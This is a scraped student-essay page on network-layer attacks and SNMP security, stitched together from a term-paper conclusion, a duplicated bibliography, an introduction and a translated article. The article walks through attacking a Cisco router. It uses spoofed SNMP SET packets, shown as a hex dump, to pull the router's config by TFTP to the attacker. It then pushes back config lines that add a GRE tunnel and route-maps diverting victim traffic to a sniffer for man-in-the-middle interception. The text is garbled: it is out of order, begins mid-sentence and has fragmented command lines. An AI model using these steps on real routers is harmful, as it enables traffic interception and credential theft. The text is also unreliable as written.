161 і 162 на межі мережі може запобігти використанню вашої системи як плацдарм для атаки.Системи виявлення та запобігання вторгненням апаратний засіб, яке виявляє події несанкціонованого проникнення (вторгнення або мережевої атаки) в комп'ютерну систему або мережу. Без IDS стає немислимою інфраструктура мережевої безпеки. Доповнюючи міжмережові екрани, які функціонують на основі правил безпеки, IDS здійснюють моніторинг та спостереження за підозрілою активністю. Вони дозволяють виявити порушників, які проникли за міжмережевий екран, та повідомити про це адміністратора, який, прийме необхідне рішеннядля підтримки безпеки. Методи виявлення вторгнень не гарантують повну безпеку системи.В результаті використання IDS досягаються такі цілі: виявлення мережевої атаки або вторгнення; складання прогнозу про ймовірні майбутні атаки та визначення слабких місць системи для запобігання їх використанню. У багатьох випадках зловмисник виконує стадію підготовки, наприклад, зондує (сканує) мережу або тестує її іншим способом, щоб виявити вразливості системи; здійснення документування відомих загроз; стеження за якістю адміністрування з точки зору безпеки, зокрема, у великих і складних мережах; отримання цінної інформації про проникнення, що відбулися, щоб відновити і виправити фактори, що призвели до проникнення; виявлення розташування джерела атаки з точки зору зовнішньої мережі (зовнішні або внутрішні атаки), що дозволяє прийняти правильні рішення при розстановці вузлів мережі. У загальному випадку IDS містить: підсистему спостереження, що збирає інформацію про події, що мають відношення до безпеки мережі або системи, що захищається; підсистему аналізу, яка виявляє підозрілі дії та мережеві атаки; сховище, яке зберігає первинні події та результати аналізу; Підводячи підсумок, зазначимо, що простота популярного протоколу SNMP має своїм наслідком підвищену вразливість. Оскільки SNMP застосовується дуже широко, експлуатація мереж із вразливими продуктами може призвести до згубних наслідків. Тому для ефективного застосування протоколу SNMP слід застосовувати різні способи запобігання атак і будувати комплексну систему захисту. У процесі роботи було виявлено особливості названого протоколу та можливі проблеми його використання. Для обґрунтування проблеми наведено статистичні дані, що підтверджують високу ймовірність реалізації атак мережі. Крім того, теоретична частина містить відомості про структуру протоколу, схему запитів/відгуків та етапи отримання відповідей на запити. уразливості форматного рядка. Звичайно, потенційно можливих загроз набагато більше, але їх огляд передбачає більш глибоке і всебічне дослідження. На основі аналізу виявлено, що протокол SNMP досить вразливий і, якщо все-таки прийнято рішення про його використання, слід розробити політику безпеки та дотримуватися всіх її принципів. Таким чином, можна зробити висновок про досягнення мети та вирішення завдань, визначених у введенні. ДЖЕРЕЛАНормативно-правові актиФедеральний закон Російської Федерації від 27 липня 2006 р. N 149-ФЗ Про інформацію, інформаційних технологійта про захист інформації Список спеціалізованої та наукової літературиБланк-Едельман Д. Perl для системного адміністрування, М: символ-Плюс, 2009.- 478с.Бородакий В.Ю. Практика та перспективи створення захищеної інформаційно-обчислювальної хмари на основі МСС ОГВ / В.Ю. Бородакій, А.Ю. Добродєєв, П.А. Нащокін // Актуальні проблеми розвитку технологічних систем державної охорони, спеціального зв'язку та спеціального інформаційного забезпечення: VIII Всеросійська міжвідомча наукова конференція: матеріали та доповіді (Орел, 13–14 лютого 2013 р.). - О 10 год. Ч.4 / За общ.ред. В.В. Мізерова. - Орел: Академія ФСТ Росії, 2013. Гришина Н. В. Організація комплексної системи захисту інформації. - М.: Геліос АРВ, 2009. - 256 с, Дуглас Р. Мауро Основи SNMP, 2-е видання / Дуглас Р. Мауро, Кевін Дж. Шмідт - М.: Символ-Плюс, 2012.-725с. М.В. Комп'ютерні мережі. Практика побудови. Для фахівців, СПб.: Пітер, 2003.-462с.Мулюха В.А. Методи та засоби захисту комп'ютерної інформації. Міжмережеве екранування: Навчальний посібник/ Мулюха В.А., Новопашенный А.Г., Подгурський Ю.Є.- СПб.: Видавництво СПбГПУ, 2010. - 91 c. Оліфер В. Г., Оліфер Н. П. Комп'ютерні мережі. Принципи, технології, протоколи. - 4-те. – СПб: Пітер, 2010. -902с. Технології комутації та маршрутизації у локальних комп'ютерних мережах: навчальний посібник/ Смирнова. Ст та ін; ред. А.В. Пролетарського. - М.: Вид-во МДТУ ім. н.е. Баумана, 2013. - 389с. Фленов М. Linux очима Хакера, СПб: BHV-Санкт-Петербург, 2005. - 544 с.Хорєєв П.В. Методи та засоби захисту інформації в комп'ютерні системи. - М.: видавничий центр "Академія", 2005. -205 с.Хорошко В. А., Чекатков А. А. Методи та засоби захисту інформації, К.: Юніор, 2003. - 504с. Інтернет-джерела IDS/IPS - Системи виявлення та запобігання вторгненням [Електронний ресурс] URL: http://netconfig.ru/server/ids-ips/.Аналіз Інтернет-загроз у 2014 році. DDoS-атаки. Зламування веб-сайтів. [Електронний ресурс]. URL: http://onsec.ru/resources/Internet%20threats%20in%202014.%20Overview%20by%20Qrator-Wallarm.pdfКоліщак А. Вразливість форматного рядка [Електронний ресурс]. URL: https://securityvulns.ru/articles/fsbug.aspПерша миля, № 04, 2013 [Електронний ресурс]. URL: http://www.lastmile.su/journal/article/3823 Сімейство стандартів SNMP [Електронний ресурс]. URL: https://ua.wikibooks.org/wiki /Сімейство_стандартів_SNMPІноземналітература"CERT Advisory CA-2002-03: Multiple Vulnerabilities в Багато Implementations of the Simple Network Management Protocol (SNMP)", 12 Feb. 2002, (current 11 2002 March)

СПИСОК ВИКОРИСТАНИХ ДЖЕРЕЛОВ
Нормативно-правові акти
1. Федеральний закон Російської Федерації від 27 липня 2006 р. N 149-ФЗ Про інформацію, інформаційні технології та про захист інформації
Список спеціалізованої та наукової літератури
2. Бланк-Едельман Д. Perl для системного адміністрування, М: символ-Плюс, 2009. - 478с.
3. Бородакій В.Ю. Практика та перспективи створення захищеної інформаційно-обчислювальної хмари на основі МСС ОГВ / В.Ю. Бородакій, А.Ю. Добродєєв, П.А. Нащокін // Актуальні проблеми розвитку технологічних систем державної охорони, спеціального зв'язку та спеціального інформаційного забезпечення: VIII Всеросійська міжвідомча наукова конференція: матеріали та доповіді (Орел, 13–14 лютого 2013 р.). - О 10 год. Ч.4 / За общ.ред. В.В. Мізерова. - Орел: Академія ФСТ Росії, 2013.
4. Гришина Н. В. Організація комплексної системи захисту інформації. - М: Геліос АРВ, 2009. - 256 с,
5. Дуглас Р. Мауро Основи SNMP, 2-е видання / Дуглас Р. Мауро, Кевін Дж. Шмідт - М.: Символ-Плюс, 2012.-725с.
6. Кульгін М.В. Комп'ютерні мережі. Практика побудови. Для фахівців, СПб.: Пітер, 2003.-462с.
7. Мулюха В.А. Методи та засоби захисту комп'ютерної інформації. Міжмережеве екранування: Навчальний посібник/Мулюха В.А., Новопашенный А.Г., Подгурський Ю.Є. - СПб.: Видавництво СПбГПУ, 2010. - 91 с.
8. Оліфер В. Г., Оліфер Н. П. Комп'ютерні мережі. Принципи, технології, протоколи. - 4-те. – СПб: Пітер, 2010. -902с.
9. Технології комутації та маршрутизації в локальних комп'ютерних мережах: навчальний посібник / Смирнова. Ст та ін; ред. А.В. Пролетарського. - М.: Вид-во МДТУ ім. н.е. Баумана, 2013. - 389с.
10. Флен М. Linux очима Хакера, СПб: BHV-Санкт-Петербург, 2005. - 544 с.
11. Хореєв П.В. Методи та засоби захисту інформації в комп'ютерних системах. - М.: видавничий центр "Академія", 2005. -205 с.
12. Хорошко В. А., Чекатков А. А. Методи та засоби захисту інформації, К.: Юніор, 2003. – 504с.
Інтернет-джерела
13. IDS/IPS - Системи виявлення та запобігання вторгненням [Електронний ресурс] URL: http://netconfig.ru/server/ids-ips/.
14. Аналіз Інтернет-загроз у 2014 році. DDoS-атаки. Зламування веб-сайтів. [Електронний ресурс]. URL: http://onsec.ru/resources/Internet%20threats%20in%202014.%20Overview%20by%20Qrator-Wallarm.pdf
15. Коліщак А. Вразливість форматного рядка [Електронний ресурс]. URL: https://securityvulns.ru/articles/fsbug.asp
16. Перша миля, №04, 2013 [Електронний ресурс]. URL: http://www.lastmile.su/journal/article/3823
17. Сімейство стандартів SNMP [Електронний ресурс]. URL: https://ua.wikibooks.org/wiki /Сімейство_стандартів_SNMP
Іноземналітература
18. "CERT Advisory CA-2002-03: Multiple Vulnerabilities в Багато Implementations of Simple Network Management Protocol (SNMP)", 12 Feb. 2002, (current 11 2002 March)

Розміщено на http:// www. allbest. ru/

Розміщено на http:// www. allbest. ru/

огляд технік мережевих атак на мережевому рівні моделі OSI та методи протидії

ВСТУП

мережеві атаки троянського вірусу

Будь-яка інформація має три основні властивості:

· Конфіденційність.

· Цілісність.

· Доступність.

Пояснити кожну з цих властивостей.

Конфіденційна інформація - це відомості, що знаходяться у володінні, користуванні або розпорядженні окремих фізичних або юридичних осібта поширюються за їх бажанням відповідно до його положень умовами.

Цілісність інформації (цілісність даних) - термін в інформатиці та теорії телекомунікацій, який означає, що дані повні, умова того, що дані не були змінені при виконанні будь-якої операції над ними, чи це передача, зберігання або подання.

Доступність інформації-стан інформації (ресурсів автоматизованої інформаційної системи), у якому суб'єкти, мають права доступу, можуть реалізовувати їх безперешкодно. Права доступу: право читання, зміна, копіювання, знищення інформації, і навіть право зміну, використання, знищення ресурсів.

Існують три основні способи захисту інформації, які розташовані в порядку їхньої важливості:

· Організаційні методи захисту інформації. Організаційний захист інформації є організаційним початком, так званим "ядром" загальної системизахисту конфіденційної інформації підприємства Від повноти та якості рішення керівництвом підприємства та посадовими особами організаційних завдань залежить ефективність функціонування системи захисту інформації загалом. Роль та місце організаційного захисту інформації у загальній системі заходів, спрямованих на захист конфіденційної інформації підприємства, визначаються винятковою важливістю для прийняття керівництвом своєчасних та вірних управлінських рішень з урахуванням наявних у його розпорядженні сил, засобів, методів та способів захисту інформації та на основі чинного нормативно- методичного апарату.

· Технічні методизахисту інформації. Ці методи припускають наявність у пристроїв та технічних засобів обробки інформації, засобів спеціальних технічних рішень, що забезпечують захист та контроль інформації. І, крім того, методи захисту інформації, тобто сукупність алгоритмів та програм, що забезпечують розмежування доступу та виключення несанкціонованого використання інформації.

Атака на Cisco через SNMP

Alexander Antipov


Матіай Ароні та Вільям М. Ідальго, переклад Володимир Куксенок

Вступ

Часто системні адміністратори мають невиразне уявлення про SNMP. Внаслідок невизначеного уявлення про призначення цього протоколу, а відповідно і незнання потенційно можливих проблем, питання його безпеки часто не беруться до уваги.

Ймовірно, ви здивуєтеся, вперше побачивши висновок утиліти на кшталт SNMP-Enum Філіпа Уейтенса (Filip Waeytens), запущеної на Windows 2000 Server з увімкненим SNMP сервісом. Зібрана інформація могла б дуже спантеличити системного адміністратора і дати уявлення про багаті можливості SNMP.

Той факт, що протокол SNMP заснований на UDP робить його ще більш цікавим. Будучи протоколом без встановлення з'єднання, UDP вразливий до атаки підміни IP (IP spoofing). Якщо у вашій організації є маршрутизатори Cisco, ви готові досліджувати те, що з ними можна зробити за допомогою SNMP.

Сценарій атаки

Подивіться приклад сценарію атаки, показаний на Рисунку 1.


Рисунок 1. Приклад сценарію атаки.

Ознайомтеся зі сценарієм атаки. Нижче наводиться поточна конфігурація атакованого маршрутизатора (Victim Router):

Current configuration: 1206 bytes! version 12.3! hostname Victim! enable secret 5 $1$h2iz$DHYpcqURF0APD2aDuA.YX0 ! interface Ethernet0/0 ip address dhcp ip nat outside half-duplex ! interface Ethernet0/1 ip address 192.168.1.1 255.255.255.0 ip nat inside half-duplex ! router rip network 192.168.1.0! ip nat inside source list 102 interface Ethernet0/0 overload no ip http server ip classless ! access-list 1 permit 192.168.1.0 0.0.0.255 access-list 102 permit ip any any! snmp-server community public RO snmp-server community private RW 1 snmp-server enable traps tty ! line con 0 logging synchronous login line aux 0 line vty 0 4 password secret login ! ! end

Зверніть увагу на правило доступу для групи RW. Це правило намагається обмежити доступ SNMP на читання/запис, дозволивши його тільки для користувачів з локальної мережі (192.168.1.0).

Можна виділити два основні етапи атаки:

  1. Обхід правил доступу SNMP на маршрутизаторі, що атакується, з метою отримання доступу до конфігураційного файлу маршрутизатора.
  2. Створення GRE тунелю між маршрутизатором і маршрутизатором хакера для віддаленого перехоплення трафіку атакованої клієнтської машини (Victim Client).

Теорія

Як згадувалося у статті “Exploiting Cisco Routers, Part 1” , використовуючи SNMP-команду SET, можна змусити Cisco маршрутизатор замінювати/надсилати його конфігураційний файл за допомогою TFTP.

Надіславши SNMP запит SET з підробленою IP адресою (з діапазону, описаного в RFC1918 - 192.168.1.0) ми повинні змусити маршрутизатор, що атакується, відправити нам свій конфігураційний файл. Це означає, що ми знаємо 'private community string' і ACL, описані в рядку конфігурації групи RW.

Обхід правил доступу SNMP

Почнемо із створення підробленого SNMP запиту. Використовуючи невеликий Perl-скрипт і Ethereal, перехопимо стандартний SNMP SET запит “copy config”, який ми будемо використовувати як базовий пакет. [email protected]# ./copy-router-config.pl ####################################### ############## # Copy Cisco Router config - Using SNMP # Hacked up by muts - [email protected]################################################# ##### Usage: ./cisco-copy-config.pl Перевірте, що TFTP-сервер є up, preferably running from /tmp ! [email protected]# Після виконання скрипта буде перехоплено SNMP пакет, подібний до того, що показаний на Рисунку 2. Як і очікувалося, цей запит був відхилений маршрутизатором, і конфігураційний файл не був відісланий.


Малюнок 2. Перехоплений пакет SNMP.

Зверніть увагу на IP адресу атакуючого (80.179.76.227). Тепер, використовуючи hex-редактор, ми змінимо цю IP-адресу і деякі інші поля заголовка пакета. У шістнадцятковій системі числення підроблена IP адреса 192.168.1.5 виглядає як C0 A8 01 05, що продемонстровано на Рисунку 3.




Рисунок 3. Зміна зворотної IP-адреси пакета.

Потім ми надішлемо пакет, використовуючи file2cable (або будь-який інший генератор пакетів):

[email protected]:~# file2cable -v -i eth0 -f /root/snmp-mod file2cable - FX Thanx go to Lamont Granquist & Fyodor для їх hexdump() /root/snmp-mod - 238 bytes raw data 000f 347c 501f 00 0800 4500 ..4|P.........E. 00e0 0000 4000 4011 35bd c0a8 0105 d4c7 [email protected]@.5....... 91f2 8000 00a1 00cc 052e 3081 c102 0100 ..........0..... 0407 7072 6976 6174 65a3 81b2 0203 00d6 ..priva .. 9b02 0100 0201 0030 81a4 3016 0611 2b06 .......0..0...+. 0104 0109 0960 0101 0101 0283 f1b0 7802 .....`........x. 0101 3016 0611 2b06 0104 0109 0960 0101 ..0...+......`.. 0101 0383 f1b0 7802 0104 3016 0611 2b06 ......x...0.... 0104 0109 0960 0101 0101 0483 f1b0 7802 .....`........x. 0101 3019 0611 2b06 0104 0109 0960 0101 ..0...+......`.. 0101 0583 f1b0 7840 0450 b34c e330 2706 [email protected] 112b 0601 0401 0909 6001 0101 0106 83f1 .+......`....... b078 0412 7077 6e64 2d72 6f75 7465 722e . config0...+..... 0960 0101 0101 0e83 f1b0 7802 0104 .`........x... Packet length: 238 [email protected]:~# Після цього наш TFTP сервер прийме з'єднання, Ethereal-лог якого показано на Рисунку 4.


Рисунок 4. З'єднання з сервером TFTP, перехоплене Ethereal.

Зверніть увагу на зворотну IP адресу SNMP пакета та на TFTP запит на запис (пакети 1 та 2). Пакет обходить правила доступу SNMP, і ми отримуємо конфігураційний файл атакованого маршрутизатора TFTP.

GRE тунель

GRE (Generic Routing Encapsulation) – протокол тунелювання, розроблений для інкапсуляції довільних типів пакетів мережного рівня всередині пакету мережного рівня. Один з варіантів використання GRE – з'єднання сегментів IPX мережі через канал зв'язку, що підтримує лише мережевий рівень моделі OSI. У цьому випадку вам потрібно буде створити GRE тунель з одного маршрутизатора на інший для передачі пакетів IPX туди і назад через канал підтримує тільки протокол IP.

Однак ми будемо використовувати GRE для досягнення цілей, відмінних від його звичайного призначення. Наш план полягає в наступному:

  • Створити GRE тунель від атакованого маршрутизатора до хакера.
  • Визначити, який трафік проходитиме через тунель.
  • Розпакувати GRE пакети, що йдуть з атакованого маршрутизатора і переправляти їх на комп'ютер атакуючого (sniffer) для аналізу.

Атакований маршрутизатор

Нам потрібно створити GRE тунель на маршрутизаторі, що атакується. Оскільки доступу до терміналу (консолі) у нас немає, ми можемо просто відредагувати отриманий конфігураційний файл і потім відправити його назад на маршрутизатор, використовуючи підроблений SNMP SET запит. Додамо наступні рядки у файл конфігурації атакованого маршрутизатора: interface tunnel0 ip address 192.168.10.1 255.255.255.0 tunnel source Ethernet0/0 tunnel destination tunnel mode gre ip
  • Ми створили інтерфейс tunnel0 і вказали IP адресу з мережі 192.168.10.x. Для обміну даними обидва кінці тунелю повинні бути в одній підмережі.
  • Ми вказали, що інтерфейс Ethernet0/0 є початком тунелю (інакше, звідки тунель міг би починатися?)
  • Кінець тунелю це IP-адреса зовнішнього інтерфейсу маршрутизатора хакера.
  • Остання команда не обов'язкова, тому що за умовчанням все одно створюється саме GRE тунель (але ми все ж таки додали її для більшої впевненості).
Тепер ми можемо налаштувати правила доступу (access-lists) для вказівки типу трафіку, що проходить через тунель і карти маршрутизації (route-maps), необхідні для перенаправлення трафіку.

Для цього додамо у файл конфігурації атакованого маршрутизатора ще кілька рядків:

Access-list 101 permit tcp any any eq 443 access-list 101 permit tcp any any eq 80 access-list 101 permit tcp any any eq 21 access-list 101 permit tcp any any eq 20 access-list 10 access-list 101 permit tcp any any eq 25 access-list 101 permit tcp any any eq 110 Ми дозволили передачу даних за протоколами SSL, HTTP, FTP, telnet, SMTP та POP3.

Тепер, якщо трафік відповідає вищеописаним правилам, він буде перенаправлений відповідно до карт маршрутизації, опис яких потрібно додати до файлу конфігурації:

Router-map divert-traffic match ip address 101 set ip next-hop 192.168.10.2 interface Ethernet0/0 ip policy route-map divert-traffic Цей запис несе в собі такий зміст:

  • Ми визначили ім'я карти маршрутизації (divert-traffic) і потім використовували команду 'match', щоб вказати, що як умова відповідності потрібно використовувати набір правил доступу 101 (access-list).
  • Як next-hop адреси ми вказали IP адресу атакуючого.
  • Ми застосували карту маршрутизації до зовнішнього LAN-інтерфейсу машини, що атакується. Результатом цього буде стеження за всім вхідним та вихідним трафіком Ethernet0/0.

Маршрутизатор хакера

Конфігурація маршрутизатора атакуючого трохи складніше, тому що ми повинні визначити дві карти маршрутизації - одну для переправлення трафіку на комп'ютер атакуючого (sniffer), та іншу для відправки трафіку назад на маршрутизатор, що атакується. Дуже важливо, щоб ми відправляли тунельовані дані назад на маршрутизатор, що атакується, щоб атакований комп'ютер (Victim Client) не втратив з'єднання.

Почнемо зі створення GRE тунелю на маршрутизаторі атакуючого: Attacker(config)# interface tunnel0 Attacker(config-if)# ip address 192.168.10.2 255.255.255.0 Attacker(config-if)# tunnel source Ethernet0/0 tunnel destination attacker(config-if)# tunnel mode gre ip attacker(config)# access-list 101 permit ip any any attacker(config)# address 101 Attacker(config-route-map)# set ip next-hop 192.168.3.5 Attacker(config-route-map)# exit Attacker(config)# interface tunnel0 Attacker(config-if)# ip policy route-map divert- to-sniffer Ці правила означають таке:

  • Ми створили правило доступу, що дозволяє всі типи трафіку.
  • Ми створили карту маршрутизації divert-to-sniffer (ця карта маршрутизації перенаправлятиме тунельований трафік на сніффер).
  • Створене правило доступу використовується як умова відповідності.
  • Як next-hop адреси ми вказали IP адресу атакуючого (sniffer).
  • Ми використали карту маршрутизації до інтерфейсу tunnel0.
Дуже важливо, що ми використовуємо карту маршрутизації для перенаправлення даних. Маршрутизатор отримує тунельовані дані, інкапсульовані в пакеті GRE, і без декодування пакета ми не можемо їх переглянути. Переправляючи отримані пакети атакуючий (sniffer), маршрутизатор передає їх як звичайні IP пакети без інкапсуляції GRE.

Нарешті, створимо карту маршрутизації та асоціюємо її з інтерфейсом Ethernet0/0:

Attacker (config-if) # route-map divert-out Attacker (config-route-map) # match ip address 101 Attacker (config-route-map) # set ip next-hop 192.168.10.1 )# exit Attacker(config)# interface ethernet0/0 Attacker(config-if)# ip policy route-map divert-out Ці додаткові налаштування означають таке:

  • Після того як атакуючий (sniffer) перехопить і переправить тунельовані дані назад, карта маршрутизації divert-out перенаправить трафік назад на маршрутизатор, що атакується.
  • Ми використали карту маршрутизації до Ethernet інтерфейсу.

Атакуючий (sniffer)

Після завершення конфігурування маршрутизаторів нам потрібно налаштувати комп'ютер атакуючого (sniffer) для перехоплення та перенаправлення даних. Важливо, щоб комп'ютер був налаштований на зворотне перенаправлення пакетів. Для цього можна використати одну з наступних команд: [email protected]:~# echo 1 > /proc/sys/net/ipv4/ip_forward або [email protected]:~# fragrouter -B1 Без перенаправлення наша атака викличе відмову від обслуговування (DoS) на атакованому комп'ютері і відповідно втратить сенс.

Починаємо атаку

Після того як всі налаштування будуть завершені, все, що нам залишиться зробити - завантажити новий модифікований файл конфігурації на маршрутизатор, що атакується. Результатом буде активація GRE тунелю та перенаправлення всього трафіку з локальної мережі атакованого комп'ютера до хакера (sniffer).

Нам потрібно створити підроблений SNMP SET запит, в результаті якого маршрутизатор завантажить новий файл конфігурації і додасть його до поточної конфігурації. Для того, щоб отримати базовий пакет, ми знову відправимо звичайний запит:

[email protected]# ./merge-router-config.pl ####################################### ############## # Merge Cisco Router config - Using SNMP # Hacked up by muts - [email protected]################################################# ##### Usage: ./merge-copy-config.pl Перевірте, що TFTP-сервер є up, prefferably running from /tmp ! [email protected]# Перехопимо цей пакет і змінимо зворотну IP адресу та деякі інші поля заголовка пакета, як показано на малюнку 5.


5. Зміна заголовка пакета.

Після надсилання модифікованого пакета буде створено TFTP з'єднання з нашим комп'ютером (Малюнок 6).



Рисунок 6. З'єднання з TFTP сервером атакуючого.

Зверніть увагу на запит TFTP на читання (пакет №2). Пакет обходить правила доступу SNMP, внаслідок чого відбувається завантаження та додавання до поточної конфігурації нового модифікованого файлу конфігурації. Відлагоджувальна інформація атакованого маршрутизатора дає багато цікавого про перебіг атаки:

*Mar 1 00:32:53.854: SNMP: Set request, reqid 36323, errstat 0, erridx 0 ccCopyTable.1.2.12285992 = 1 ccCopyTable.1.3.12285992 = 4 ccCopyTable.2 = 4CopyTable.2 = 4 ccCopyTable.2 .76.227 ( address of TFTP server ) ccCopyTable.1.6.12285992 = pwnd - router.config ccCopyTable.1.14.12285992 = 4 * Mar 1 00:32:53.971 : SNMP : Response , 0 , 0 .1.2.12285992 = 1 ccCopyTable.1.3.12285992 = 4 ccCopyTable.1.4.12285992 = 1 ccCopyTable.1.5.12285992 = 80.179.76.227 (Парт.2. 1.14.12285992 = 4 *Mar 1 00:32:54.291: SNMP: Packet sent via UDP to 192.168.1.5 Зауважте, що адреса TFTP сервера відрізняється від IP адреси атакуючого і передається окремим параметром. Тепер тунель відкритий, готовий до роботи та може бути представлений у вигляді діаграми на малюнку 7.


Рисунок 7. GRE тунель.

Перевірити працездатність тунелю можна, відіславши команду налагодження на маршрутизатор атакуючого:

Attacker# debug tunnel *Mar 3 06:38: Tunnel0: GRE/IP для класифікації 212.199.145.242 ->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0) *Mar: 3 fixup, 80.179.20.55 -> 212.199.145.242, tos=0x0 *Mar 3 06:38: Tunnel0: GRE/IP для класифікації 212.199.145.242 ->80.179.20.80=0 0=5 *Mar 3 06:38: Tunnel0: adjacency fixup, 80.179.20.55 -> 212.199.145.242, tos=0x0g all Припустимо, атакований комп'ютер зробив пошук виразу “GRE Sniffing” у Google, як показано на Рисунку 8.


Малюнок 8. Жертва шукає інформацію про тунелі GRE.

В результаті цих дій Ethereal на комп'ютері атакуючого отримає пакети, показані на Рисунку 9.




Рисунок 9. Сніффер показує запит у Google на пошук інформації про тунелі GRE.

Крім використання спеціалізованого сніфера (такого як dsniff) для перехоплення паролів, що передаються відкритим текстом, ми можемо здійснити складні атаки класу 'людина посередині – man-in-the-middle' на комп'ютер жертви. Ettercap – гарна утиліта, що дозволяє, окрім перехоплення різних типів паролів, організувати атаку 'людина посередині' на шифрувані протоколи SSLта SSH. За допомогою фільтрів Ettercap можна керувати прохідним трафіком і змінювати його. Можливості практично нескінченні.

Висновок

Іноді деякі речі не тим, чим здаються. Коли маєш справу з SNMP (або іншими протоколами на основі UDP) завжди потрібно знати про затишні куточки і тріщини, упущення яких може стати причиною компрометації вашої мережі.

В наведеному прикладі, додаткового правило доступу, явно визначального адресу TFTP сервера (що знаходиться на атакованому нами маршрутизаторі) вистачило б, щоб зірвати атаку.

Скептики можуть запитати “Як атакуючий дізнався про правила доступу/ім'я SNMP групи RW?”. Ця інформація може бути отримана перебором, причому не тільки імена груп, але й дозволені IP-адреси, і така утиліта вже існує.

Метою статті було показати не так ефективність описаної атаки, як потенційні проломи протоколів, заснованих на UDP. Це не означає, що обладнання Cisco небезпечне. Грамотна конфігурація повинна мінімізувати шанси обходу захисту. Помилки мережевих адміністраторів – ось основні причини компрометації обладнання Cisco.

Інформацію про зміцнення захисту маршрутизаторів Cisco можна знайти на сайті



Завантаження...
Top